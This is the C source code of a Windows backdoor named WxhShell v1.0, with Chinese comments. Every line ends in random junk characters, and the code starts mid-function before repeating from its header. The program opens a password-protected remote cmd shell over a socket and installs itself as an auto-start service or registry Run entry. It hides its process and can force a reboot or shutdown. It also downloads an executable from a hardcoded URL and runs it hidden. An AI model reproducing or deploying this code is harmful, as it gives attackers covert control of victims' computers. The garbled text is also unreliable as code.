    else { T%6&PrQ7  
    closesocket(wsh); rF aF Bd  
    ExitThread(0); 9so6WIWc  
    } } @K FB  
    break; hF@Gn/  
    } pX&pLaF  
  // 获取shell LEW'G"+  
  case 's': { BZud) l24  
    CmdShell(wsh); Y2d;E.DH8  
    closesocket(wsh); .q[SI$qO/  
    ExitThread(0); \2ZPj)&-E  
    break; %CS@g.H=_  
  } f 1w~!O9  
  // 退出  emK$`9  
  case 'x': { Kl2lbe7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y]J89  
    CloseIt(wsh); WcHgBbNe  
    break; eFpTW&9n  
    } [%9no B  
  // 离开 MF~H"D n  
  case 'q': { L:_bg8eD#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u:m]CPz  
    closesocket(wsh); Z9575CI<  
    WSACleanup(); 9:`(Q3Ei  
    exit(1); *Ho/ZYj3  
    break; (T!9SU  
        } BNd^qB ?  
  } Qtbbb3m;  
  } Ku\Y'ub  
0A,]$Fzt  
  // 提示信息 F)s{PCl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w3=%*<  
} AtF3%Z v2  
  } pGf@z:^{*-  
{e+-vl  
  return; v2H#=E4cZ#  
} TF 'U  
<$F\Nk|x  
// shell模块句柄 KN t t  
int CmdShell(SOCKET sock) cx}Q2S  
{ $/=nU*pd  
STARTUPINFO si; 4m*M,#mV  
ZeroMemory(&si,sizeof(si)); GN!qyT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F)+{AQL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d}JP!xf%  
PROCESS_INFORMATION ProcessInfo; wk6NG/<  
char cmdline[]="cmd"; ;9~6_@,@o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yU8{i&w4  
  return 0; IkrF/$r  
} hGbj0   
>. '<J]  
// 自身启动模式 \MjJ9u `8  
int StartFromService(void) NPd%M  
{ =JKv:</.G  
typedef struct mt5KbA>nU  
{ /9zE^YcT  
  DWORD ExitStatus; V5GW:QT  
  DWORD PebBaseAddress; Ma8_:7`>O  
  DWORD AffinityMask; x_c7R;C  
  DWORD BasePriority; %I-+Ead0i  
  ULONG UniqueProcessId; QHWBAGA  
  ULONG InheritedFromUniqueProcessId; Pb8^ b  
}   PROCESS_BASIC_INFORMATION; $<^u^q37u  
"Kc>dJ@W  
PROCNTQSIP NtQueryInformationProcess; wMdal:n^  
GrTulN?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `)T~psT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; es>W$QKlo  
yv\#8I:qh  
  HANDLE             hProcess; Ea?XT&,  
  PROCESS_BASIC_INFORMATION pbi; W -  
Mz1G5xcl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?V}j`r8|\4  
  if(NULL == hInst ) return 0; _UT$,0u_i  
^2$ lJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^=:9)CNw(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -jn WZ5.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x5QaM.+=J  
'0\@McU]  
  if (!NtQueryInformationProcess) return 0; t=u  Qb=  
?gPKcjgoH!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o99pHW(E  
  if(!hProcess) return 0; ^)?d6nI  
#7ov#_2Jd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 63.wL0~  
c\ia6[3sX  
  CloseHandle(hProcess); .[Ap=UYI>  
+=]!P#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hew d4k  
if(hProcess==NULL) return 0; RPIyO  
,SQZD,3v4  
HMODULE hMod; YKbaf(K )9  
char procName[255]; f{"8g"[[)(  
unsigned long cbNeeded; 'Fs)Rx}\0  
KAsS [  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *1 G>YH  
p_UlK8rb  
  CloseHandle(hProcess); @&]#uRl|[  
m85WA # `  
if(strstr(procName,"services")) return 1; // 以服务启动 ?x+Z)`w_  
O/.Uh`T`6  
  return 0; // 注册表启动 *dvDap|8W  
} 8a_[B~  
v3GwD0 0  
// 主模块 M @3"<[g  
int StartWxhshell(LPSTR lpCmdLine) uP<0WCN  
{ WHAQu]{  
  SOCKET wsl; gqR)IVk>%  
BOOL val=TRUE; >@ YtDl8R  
  int port=0; WWL4`s  
  struct sockaddr_in door; j S;J:$>^  
/s-A?lw^2  
  if(wscfg.ws_autoins) Install(); >yXN,5d[  
2P]L9'N{Y  
port=atoi(lpCmdLine); <H0R&l\  
`'\t$nU  
if(port<=0) port=wscfg.ws_port; `xz<>g9e  
/ }Rz=&  
  WSADATA data; }lK3-2Pk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gJ;_$`  
Wd0 [%`dq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yp0/Ab(v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %0 #XPc("  
  door.sin_family = AF_INET; r?CI)Y;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0QvT   
  door.sin_port = htons(port); ~GuMlV8  
8)kLV_+%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'S[++w?Qq  
closesocket(wsl); RJy=pNztm  
return 1; VR  
} ]r3Kg12Mi  
S}f?.7  
  if(listen(wsl,2) == INVALID_SOCKET) { =C L} $_  
closesocket(wsl); 1yV: qp  
return 1; 4O:W#bx  
} <$N"q  
  Wxhshell(wsl); uNn[[LS  
  WSACleanup(); :K ~  
oQv3GpO  
return 0; \}~s2Y5j  
Y-'78BJk  
} U xD5eJJ  
Kf 2jD4z}  
// 以NT服务方式启动 q %0Cg=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hky;CD~$  
{ S!PzLTc  
DWORD   status = 0; +dBz`W D  
  DWORD   specificError = 0xfffffff; LTJc,3\,  
t8+_/BXv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zE)~0v4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fb/XC:AD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QI]Ih  
  serviceStatus.dwWin32ExitCode     = 0; tTN?r 8  
  serviceStatus.dwServiceSpecificExitCode = 0; 'TTUN=y  
  serviceStatus.dwCheckPoint       = 0; ~2d:Q6  
  serviceStatus.dwWaitHint       = 0; .[u> V  
g~BoFc.V2~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c8Q]!p+Yp  
  if (hServiceStatusHandle==0) return; cEe? *\G  
*cTO7$\[  
status = GetLastError(); U$H @ jJ*  
  if (status!=NO_ERROR) #wc \T  
{ ^ FZ^6*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w'X]M#Q><  
    serviceStatus.dwCheckPoint       = 0; oo=#XZkk  
    serviceStatus.dwWaitHint       = 0; *_ +7ni  
    serviceStatus.dwWin32ExitCode     = status; Gn)y> AN  
    serviceStatus.dwServiceSpecificExitCode = specificError; =&!HwOnp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tA$)cg+.  
    return; ~^ ^ NHq  
  } .)|a2d ~F  
`VQb-V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |0{u->+ )  
  serviceStatus.dwCheckPoint       = 0; jKZt~I  
  serviceStatus.dwWaitHint       = 0; Y F:2>w<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h;V,n  
} w[_x(Ojq;  
Z?J:$of*  
// 处理NT服务事件,比如:启动、停止 y fSM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WZ!WxX>zO  
{ - O"i3>C  
switch(fdwControl) yAL1O94  
{ "+?Cz !i   
case SERVICE_CONTROL_STOP: fWF |,A>>b  
  serviceStatus.dwWin32ExitCode = 0; ^). )  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D;Gq)]O  
  serviceStatus.dwCheckPoint   = 0; OzT#1T1'c  
  serviceStatus.dwWaitHint     = 0; tn|,O.t  
  { J ti(b*~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Vg}V"QR  
  } =2y8 CgLj  
  return; \n9A^v`F/  
case SERVICE_CONTROL_PAUSE: F8e<}v&7R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i#X!#vyc  
  break; ^MD;"A<  
case SERVICE_CONTROL_CONTINUE: 8hA^`Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fg/dS6=n`?  
  break; XYx 6V  
case SERVICE_CONTROL_INTERROGATE: gPzL*6OS A  
  break; NZu)j["  
}; 44\>gI<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@a 0$coP  
} `>D9P_Y"jI  
7%OKH<i\2<  
// 标准应用程序主函数 9Q W&$n^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kC$&:\Rh  
{ u)Q;8$`  
4R>zPEo  
// 获取操作系统版本 o2-@o= F  
OsIsNt=GetOsVer(); ;r=b|B9c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b'ml=a#i 0  
V 'X;jC  
  // 从命令行安装 :L0/V~D  
  if(strpbrk(lpCmdLine,"iI")) Install(); &~B5.sppnB  
]%RNA:(F'  
  // 下载执行文件 P&*sB%B  
if(wscfg.ws_downexe) { +VEU:1Gt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )[&_scSa  
  WinExec(wscfg.ws_filenam,SW_HIDE); @\(vX]  
} +TeFt5[)h  
Fk^3a'/4KJ  
if(!OsIsNt) { lEPAP|~uw  
// 如果时win9x,隐藏进程并且设置为注册表启动 92dF`sv  
HideProc(); 3Dm8[o$Z  
StartWxhshell(lpCmdLine); \'19BAm'  
} {+("C] b  
else K:yr-#(P/  
  if(StartFromService()) C9Bh@v%90^  
  // 以服务方式启动 <Y'>F!?#  
  StartServiceCtrlDispatcher(DispatchTable); (I{ $kB"p  
else SQE[m9v  
  // 普通方式启动 ,6<"  
  StartWxhshell(lpCmdLine); 0"xPX#Cvj  
rFJ[dz  
return 0; %-;b u|  
} ID};<[  
TTI81:fku  
=OTm2:j#yQ  
P\~{3U  
=========================================== ]*%+H|l  
f?Bj _z  
K2'O]#  
Jd 3@cLCe-  
-ewQp9)G  
V7=SV:+1or  
" kpfwqHT  
"oc$  
#include <stdio.h> FE5Q?*Ea  
#include <string.h> N4^5rrkL  
#include <windows.h> m8R=?U~!S  
#include <winsock2.h> 4cCF \&yU  
#include <winsvc.h> O>DNC-m)i{  
#include <urlmon.h> =~FG&rk^  
(N~$x  
#pragma comment (lib, "Ws2_32.lib") ){Mu~P  
#pragma comment (lib, "urlmon.lib") SKXBrD=-  
x.DzViP/  
#define MAX_USER   100 // 最大客户端连接数 ro| vh\y  
#define BUF_SOCK   200 // sock buffer I#A2)V0P)  
#define KEY_BUFF   255 // 输入 buffer (!K+P[g  
+6W(z3($  
#define REBOOT     0   // 重启 >`V}U*}*H  
#define SHUTDOWN   1   // 关机 e`U Qz$4!  
9\O(n>  
#define DEF_PORT   5000 // 监听端口 ,8K'F  
3" Vd==oK~  
#define REG_LEN     16   // 注册表键长度 ,axDMMDI  
#define SVC_LEN     80   // NT服务名长度 _Sj}~ H  
;q#]-^  
// 从dll定义API fu\s`W6f&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^nDal':*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6`nR5fh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  #ch  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }HZ{(?  
5vZ#b\;#V  
// wxhshell配置信息 @YL}km&Fw  
struct WSCFG { A|x:UQlu  
  int ws_port;         // 监听端口 ?F$6;N6x  
  char ws_passstr[REG_LEN]; // 口令 BD;H   
  int ws_autoins;       // 安装标记, 1=yes 0=no zQuM !.  
  char ws_regname[REG_LEN]; // 注册表键名 2:v<qX  
  char ws_svcname[REG_LEN]; // 服务名 @Jv# fr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z%"Ai)W/{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \SYvD y]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LPE)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P2k7M(I_&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CJ w$j`k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L`K;IV%;  
a5wDm  
}; M'jXve(=yF  
oKKz4  
// default Wxhshell configuration )+~E8yK  
struct WSCFG wscfg={DEF_PORT, juno.$ 6  
    "xuhuanlingzhe", Z[IM<S9lz  
    1, e6P[c=m #  
    "Wxhshell", Rl@$xP  
    "Wxhshell", -z C]^Ho@  
            "WxhShell Service", hLuJWjCV  
    "Wrsky Windows CmdShell Service", yFeeG3 n3  
    "Please Input Your Password: ", $p6N|p  
  1, ;) pl{_  
  "http://www.wrsky.com/wxhshell.exe", ~$aTM_4  
  "Wxhshell.exe" n9}RW;N+u  
    }; YF[$Q=7.  
pC^[[5A  
// 消息定义模块 >[3X]n,0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v}`1)BUeF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dtW0\^ .L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |cTpw1%I~  
char *msg_ws_ext="\n\rExit."; ' iQ9hQjD  
char *msg_ws_end="\n\rQuit."; F' BdQk3o  
char *msg_ws_boot="\n\rReboot..."; CIQwl 6H9  
char *msg_ws_poff="\n\rShutdown..."; sJ6a7A8)  
char *msg_ws_down="\n\rSave to "; ~mA7pOHj  
@l>Xnqx)  
char *msg_ws_err="\n\rErr!"; 8R/ *6S=&  
char *msg_ws_ok="\n\rOK!"; 7*'@qjTos  
rWr/p^~  
char ExeFile[MAX_PATH]; yh!B!v'  
int nUser = 0; ks:{TA27  
HANDLE handles[MAX_USER]; 05)|"EX)  
int OsIsNt; l{EU_|q  
`p|[rS>  
SERVICE_STATUS       serviceStatus; %cj58zO |y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1ih*gJPpj  
0zV 4`y  
// 函数声明 "?H+ u/8$  
int Install(void); Ar`\ N1a  
int Uninstall(void); 'G Y/Q5  
int DownloadFile(char *sURL, SOCKET wsh); 8A/>JD3^  
int Boot(int flag); ;Q90Y&{L=$  
void HideProc(void); TcZN %  
int GetOsVer(void); *gSO&O=  
int Wxhshell(SOCKET wsl); r<_2qICgP  
void TalkWithClient(void *cs); x u,htx  
int CmdShell(SOCKET sock); csvO g[  
int StartFromService(void);  1ZNNsB  
int StartWxhshell(LPSTR lpCmdLine); FNJ!IkuR  
;IhPvff  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9HKf^+';n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k`@w(HhS  
sRi%1r7  
// 数据结构和表定义 \^s2W:c  
SERVICE_TABLE_ENTRY DispatchTable[] = ]wf |PU~nr  
{ u:5IjOb2^  
{wscfg.ws_svcname, NTServiceMain}, A\g%  
{NULL, NULL} )[ b#g(Y(  
}; @LC~*_y   
UT;4U;a,m  
// 自我安装 ~,Mr0  
int Install(void) dJE`9$jN  
{ %yhI;M^  
  char svExeFile[MAX_PATH]; >;}]pI0T  
  HKEY key; K P6PQgc  
  strcpy(svExeFile,ExeFile); LaT8l?q q  
^Y<M~K972  
// 如果是win9x系统,修改注册表设为自启动 ?%;B`2 nDR  
if(!OsIsNt) { L5C2ng>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w .l|G,%=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o'^phlX  
  RegCloseKey(key); Z"N(=B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kxy]vH6m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); id4]|jb  
  RegCloseKey(key); qm}\?_  
  return 0;  2$)mC9  
    } 1gk0l'.z  
  } PvuAg(?  
} *k [kV  
else { _Z.;u0Zp8  
;%!tf{Si  
// 如果是NT以上系统,安装为系统服务 $2is3;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \ %_)_"Q  
if (schSCManager!=0) 4JSZ0:O  
{ Kt6C43]7  
  SC_HANDLE schService = CreateService )^(P@D.L  
  ( 6d};|#}  
  schSCManager, k%!VP=c4s  
  wscfg.ws_svcname, v*XkWH5  
  wscfg.ws_svcdisp, uZ<%kV1B  
  SERVICE_ALL_ACCESS, , | <jjq)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -[<vYxX:h:  
  SERVICE_AUTO_START, K+-zY[3  
  SERVICE_ERROR_NORMAL, N+hedF@ZU  
  svExeFile, *LEu=3lp%>  
  NULL, 3FuCW  
  NULL, _y"a2M  
  NULL, p4y6R4kyT  
  NULL, ]p\u$VY9  
  NULL 15JsmA*Q  
  ); ZGzc"r(r:#  
  if (schService!=0) Vp\80D&  
  { *f?S5 .  
  CloseServiceHandle(schService); o[n<M> @  
  CloseServiceHandle(schSCManager); lh~<s2[R2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^+URv  
  strcat(svExeFile,wscfg.ws_svcname); b.@H1L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F/xCG nP-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l_ZO^E~D_  
  RegCloseKey(key); F6DxvyANr  
  return 0; {9Db9K^  
    } *afejjW[  
  } A ^-Z)0 :  
  CloseServiceHandle(schSCManager); B3eNFS  
} m}rh|x/?  
} X;(oz]tr$  
3]!h{_:u  
return 1; YK7\D:  
} % kJh6J  
nZ541o@t9  
// 自我卸载 xl|ghjn  
int Uninstall(void) $\0TD7p  
{ A%P 8c  
  HKEY key; \4/:^T}*  
\u{Jf'g  
if(!OsIsNt) { ~K_]N/ >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {[my"n 2  
  RegDeleteValue(key,wscfg.ws_regname); xSx&79Ez<*  
  RegCloseKey(key); pmoGudaRF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :&qC<UD  
  RegDeleteValue(key,wscfg.ws_regname); gO9'q='5l  
  RegCloseKey(key); u/;_?zI  
  return 0; cl@kRX<7'  
  } FoQ?U=er  
} 2.!1kije  
} F9v)R #u~  
else { "OVi /:*B  
0 -!?W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^M [#^wv,  
if (schSCManager!=0) =A$Lgk>|  
{ GA(OK-WUd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4P`PmQ=GQh  
  if (schService!=0) 8I<_w4fC  
  { >).@Nb;e  
  if(DeleteService(schService)!=0) { #dHr&1(  
  CloseServiceHandle(schService); $  9S>I'  
  CloseServiceHandle(schSCManager); tN[St  
  return 0; K<RmaXZ  
  } 0BT;"B1  
  CloseServiceHandle(schService); )o86lH"z  
  } sWp{Y.  
  CloseServiceHandle(schSCManager); G% o7BX  
} H]Y#pL u|  
} i<'{Y  
t) ;   
return 1; |GJBwrL^0  
} 7z Ohyl?  
h_AJI\{"  
// 从指定url下载文件 #8S [z5 `  
int DownloadFile(char *sURL, SOCKET wsh) 2;dM:FHLhO  
{ 7qW.h>%WE  
  HRESULT hr; u![4=w  
char seps[]= "/"; FP.(E9  
char *token; <GSQ2bX[  
char *file; H<v c\r  
char myURL[MAX_PATH]; |*lH9lWJ  
char myFILE[MAX_PATH]; A$%@fO.b  
37%`P \O;s  
strcpy(myURL,sURL); A"Tc^Ij  
  token=strtok(myURL,seps); (r.$%[,.<  
  while(token!=NULL) V#p G; ,  
  { 9"m, p  
    file=token; qJ#L)  
  token=strtok(NULL,seps); xAR^  
  } m]bL)]Z  
H4P\hOK7r  
GetCurrentDirectory(MAX_PATH,myFILE); z:d Xc  
strcat(myFILE, "\\"); }K#iCby4  
strcat(myFILE, file); Vww@eK%5Q  
  send(wsh,myFILE,strlen(myFILE),0); ;+S2h-4  
send(wsh,"...",3,0); sZ0g99eX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L+v8E/W  
  if(hr==S_OK) xmCm3ekmpC  
return 0; $ iX^p4v  
else oc!biE`u  
return 1; #N<s^KYG-  
}T?i%l  
} ~,(0h:8  
113Z@F  
// 系统电源模块 SIKk|I)  
int Boot(int flag) \DG( 8l  
{ Yt\E/*%  
  HANDLE hToken; YR$tPe  
  TOKEN_PRIVILEGES tkp; .d<~a1k  
P58\+9d_  
  if(OsIsNt) { J`U$b+q6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =g{_^^n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F2Nb5WT  
    tkp.PrivilegeCount = 1; :6\-9m8JM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1C^HCIH7J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jEC'l]l  
if(flag==REBOOT) { HV]~=Bw2I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + TPbIRA  
  return 0; >WGX|"!"  
} m]+X }|  
else {  9'L1KQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^N*pIVLC  
  return 0; |HKHN? )  
} 8cYuzt]..  
  } @c.11nfn`  
  else { $bF`PGR_  
if(flag==REBOOT) { YHwVj?6W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *#X+Gngo  
  return 0; I v 80,hW  
}  e B9m4  
else { ;XD>$t@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IqR[&T)lj  
  return 0; O3sla bE#  
} Yke<Wy1  
} {[(W4NAlH  
\t&n jMWpZ  
return 1; 0lvb{Zd  
} R47I\{  
LH?gJ8`  
// win9x进程隐藏模块 oT9XJwqnv  
void HideProc(void) C9"f6>i  
{ UgOGBj,&5W  
pn ~/!y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HQ-N!pf9  
  if ( hKernel != NULL ) B=o#LL  
  { MSxU>FX0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xc3Ov9`8%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %j 9vX$Hj  
    FreeLibrary(hKernel); W#oEF/G  
  } ;DT"S{"7  
>o=axZNa  
return; (_s!,QUe  
} D 9@<#2-  
~@a) E+LsF  
// 获取操作系统版本 W2X+N acD  
int GetOsVer(void) }[hDg6i  
{ DbPBgD>Q  
  OSVERSIONINFO winfo; <E(-QJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o$qFa9|Ec?  
  GetVersionEx(&winfo); Yp?a=R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qqO10~Xc  
  return 1; %>x0*T$$  
  else .q|xMS}4  
  return 0; !T&u2=`D  
} _3FMQY(  
p!rG PyGC  
// 客户端句柄模块 >E 2WZHzd2  
int Wxhshell(SOCKET wsl) Hsux>+Q  
{ %Pt[3>  
  SOCKET wsh; unbcz{&Hb[  
  struct sockaddr_in client; `gA5P %  
  DWORD myID; R,(+NT$  
;r2b@x:<_  
  while(nUser<MAX_USER) CM@"lV_  
{ 6P/9Vh j'  
  int nSize=sizeof(client); k^vmRe<lk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OM.(g%2  
  if(wsh==INVALID_SOCKET) return 1; ,rvZW}=  
MZhJ,km)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *Kp ^al  
if(handles[nUser]==0) ^HU=E@  
  closesocket(wsh); m-pIFL<^N  
else I{X@<o}  
  nUser++; \C'I l w  
  } 16d{IGMz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JqH.QnKcv  
'KW+Rr~tZn  
  return 0; 7u&H*e7  
} a7 '\*  
hGaYQgGq  
// 关闭 socket f|HgLFx  
void CloseIt(SOCKET wsh) 8mQd*GGu1  
{ mSvTnd8  
closesocket(wsh); nG(|7x   
nUser--; -^SD6l$  
ExitThread(0); s$=B~l  
} fjeE.  
E rRMiT  
// 客户端请求句柄 a} Iz  
void TalkWithClient(void *cs) 0$dY;,Q.  
{ 'rcsK  
| Y,X=Ed  
  SOCKET wsh=(SOCKET)cs; XQ?)  
  char pwd[SVC_LEN]; W1M/Z[h6)5  
  char cmd[KEY_BUFF]; KTS7)2ci  
char chr[1]; 4 9+}OIX  
int i,j; c+ H)1Dfq  
n*]x02:LjZ  
  while (nUser < MAX_USER) { ~NJLS-  
hJtghG6v  
if(wscfg.ws_passstr) { epm8N /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l.t.,:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Qe}v  
  //ZeroMemory(pwd,KEY_BUFF); Y_ u7 0@`  
      i=0; ?\ i,JJO  
  while(i<SVC_LEN) { i\c^h;wX  
^gVbVz[17  
  // 设置超时 Zp P6Q  
  fd_set FdRead; lVK F^-i  
  struct timeval TimeOut; {gq:sj>  
  FD_ZERO(&FdRead); Z{>Y':\?<  
  FD_SET(wsh,&FdRead); OTr!?xi  
  TimeOut.tv_sec=8; 085 ^!AZ  
  TimeOut.tv_usec=0; m~\m"zJ4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Uu<sntyv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pp")hFx  
z@40 g)R2A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SZ1pf#w!  
  pwd=chr[0]; L?pvz}  
  if(chr[0]==0xd || chr[0]==0xa) { s</ktPtu  
  pwd=0; Wn)A/Z ^r  
  break; tLGwF3e$A  
  } E9NGdp&-Ah  
  i++; 8*X L19N  
    } ]4pC\0c  
Y K62#;  
  // 如果是非法用户,关闭 socket kKTED1MW&W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $2Tty 7  
} E?W!.hbA  
bu!<0AP"N+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ZpG+VAJ8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a~+WL  
z K]%qv]  
while(1) { +vY`?k`  
jYssz4)tp  
  ZeroMemory(cmd,KEY_BUFF); F_ lj>;}a5  
U8@*I>vA  
      // 自动支持客户端 telnet标准   hB1iSm  
  j=0; 5nlyb,"^g  
  while(j<KEY_BUFF) { G7#~=W 2M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :=fHPT  
  cmd[j]=chr[0]; )eVDp,.^  
  if(chr[0]==0xa || chr[0]==0xd) { k-p7Y@`+a  
  cmd[j]=0; kT3;%D^  
  break; $+yQ48Wq  
  } 3xR#,22:}  
  j++; H<3b+Sg  
    } k{$"-3ed  
Z)>a6s$ih<  
  // 下载文件 st^N QL  
  if(strstr(cmd,"http://")) { UVi/Be#|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9(\N+  
  if(DownloadFile(cmd,wsh)) I;PO$T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3B]+]e~  
  else Bc` A]U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' =s*DL`0  
  } U\plt%2m>  
  else { s.Ic3ITd,  
15yV4wHr  
    switch(cmd[0]) { F973U  
  G@6,O-Sj  
